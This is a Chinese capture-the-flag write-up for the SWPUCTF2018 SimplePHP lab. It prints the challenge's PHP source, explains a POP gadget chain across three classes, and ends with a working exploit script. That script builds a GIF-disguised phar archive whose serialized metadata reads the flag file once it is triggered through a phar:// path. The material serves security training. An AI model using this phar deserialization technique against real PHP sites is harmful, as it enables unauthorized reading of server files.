[SWPUCTF2018] SimplePHP

[SWPUCTF2018] SimplePHP

考点

  • 代码审计

  • phar反序列化

  • pop链构造

wp

源码

打开靶机,在查看文件这里可以看到 url 为 http://f292dcfd-887b-4ebb-b292-7d78df57cc52.node3.buuoj.cn/file.php?file= 不难想到文件包含

试试 php://filter/ 发现没有反应,但是直接输入文件名可以读取文件,分别获取 file.php function.php class.php upload_file.php base.php

file.php
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
function.php
<?php 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } } 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        }}} 
class.php
<?php
class C1e4r{
    public $test;
    public $str;
    public function __construct($name){
        $this->str = $name;}
    public function __destruct(){
        $this->test = $this->str;
        echo $this->test;}}
class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;}
    public function __toString(){
        $content = $this->str['str']->source;
        return $content;}
    public function __set($key,$value){
        $this->$key = $value;}
    public function _show(){
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }}
    public function __wakeup(){
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
            }}}
class Test{
    public $file;
    public $params;
    public function __construct(){
        $this->params = array();}
    public function __get($key){
        return $this->get($key);}
    public function get($key){
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";}
        return $this->file_get($value);}
    public function file_get($value){
        $text = base64_encode(file_get_contents($value));
        return $text;}}
upload_file.php
<?php 
include 'function.php'; 
upload_file(); 
?>  
base.php
<?php 
    session_start(); 
	echo $_SERVER['REMOTE_ADDR'];
?>  

phar反序列化

拿到源码后进行审计,发现在对上传文件检查( upload_file_check )时,采用了白名单的方式

这样我们能够选择的绕过方式就不多了,可以去考虑 phar ,然后在 file.php 中发现调用了file_exists()函数,这给构造 phar 反序列化提供了条件

接下来就是读取文件了,在 Test 类的 file_get() 调用了 file_get_contents 获取文件内容,或许这就是突破口。file_get() 被调用的前提是 Test 类的实例化对象调用了未定义的属性或没有权限访问的属性,即 __get() 函数被调用

如何让 Test 类的 __get() 函数被调用,在 Show 类的 __toString() 方法中,$this->str['str']->source 访问了自己的 source 变量,这个变量 Test 类可没有,所以这就是让 $this->str['str']Test 类的实例化对象。

如何让 Show 类的 __toString() 方法被调用,可以看到在 C1e4r 中的 __destruct() 函数调用了 echo $this->test;testShow 类的实例化对象即可

最后是上传的路径,在 upload_file_do() 中给出了文件存储位置,实际上可以选择直接访问 /upload 寻找

上传路径为 /upload/md5(filename+ip+.jpg)

flag 的位置在 Show 类的 _show() 函数也可以看到提示,file.php 页面的注释中也有

要注意的是读取 flag 只能用绝对路径,不能使用相对路径

exp.php
<?php
class C1e4r{
    public $test;
    public $str;

}
class Show{
    public $source;
    public $str;
}
class Test{
    public $file;
    public $params;
}
$a = new Test();
$a->params['source'] = "/var/www/html/f1ag.php";
$b = new Show();
$b->str['str'] = $a;
$c = new C1e4r();
$c->str = $b;
$phar = new Phar("1.phar", 0, '1.phar');
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->stopBuffering();
?>

访问file.php?file=phar://upload/8adc336297a3d5eb2550edc08aa372a8.jpg即可

最后更新于